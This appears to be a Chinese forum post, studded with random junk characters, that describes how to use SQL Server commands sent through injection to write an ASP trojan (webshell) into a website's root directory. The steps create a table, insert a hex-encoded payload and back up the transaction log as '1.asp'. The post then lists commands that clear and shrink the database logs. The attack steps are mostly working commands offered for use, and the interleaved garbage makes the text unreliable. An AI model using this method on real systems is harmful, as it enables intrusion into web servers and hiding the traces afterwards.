select * from master.dbo.sysdatabases 列出所有列的记录
$ |* p: {1 O9 ?- [+ z% i $ n$ N& {/ f8 H: A/ D. T3 u
select name from master.dbo.sysdatabases 仅列出name列的记录
' T# _0 c4 V1 {3 X' n P" v+ ]
1 @# \' P, B+ T# E6 y注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
3 V: ~/ F* [0 D7 K4 v6 D0 i' [+ p$ b* S6 Q
alter database 数据库名 set RECOVERY FULL--
# }8 C- `% h0 F4 s
# G {, [0 G3 |9 {4 }create table cmd (a image)-- \**cmd是创建的临时表/ d- K. {' r& n# r( a. o$ J+ C
5 V; h" Q/ R4 n9 y/ O; X# i- y7 t* B
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init-- ^# v( ^/ S% P! Z% [/ K3 L
& d) I6 [3 P. {* H9 _. t# Ainsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
$ q: [/ P% ]9 w, P) d% @2 B0 W
* [ P2 Q! g( z9 C' ~& C//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)+ D/ h( Y" C$ \/ K V
& I$ u. O' u( w) t/ l4 Obackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)" u0 C# Q) I$ }3 X* T
s4 e. B; G! K7 ?% l. M1 {* c7 J' D
drop table cmd--1 O% U2 v% G& @ X0 l2 Q$ T3 u0 y
# ~) k% G1 A$ P, c; q% ? a5 x9 E/ k" c
f:\
/ M% [& z# U1 @, e# v16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
) c' C" P( g) ^/ N8 Q6 S( `; G# Q( ~: I: N& [+ s
最好多加几个回车0d0a,要不会出错哈' i, ~; p/ b9 |) b( k+ u; f
7 V# E( q0 S* h# w
* M% Y" _: S3 ?" m$ Q" NSQL Server日志清空方法
g& r7 s$ r5 C/ w. Q7 i6 j' K" t8 q/ O! h- F; v4 o7 u6 a
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 0 \ B# y3 f* a1 ^6 [
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
. X7 y; G/ W9 }& ~
5 v! u' P" Q3 J1 O* _7 S2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
0 v7 A: q! u) _; g: k# ]6 G" H* d! r# K5 f- ]5 N8 h
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
1 |3 K3 {: ]" `$ A" d |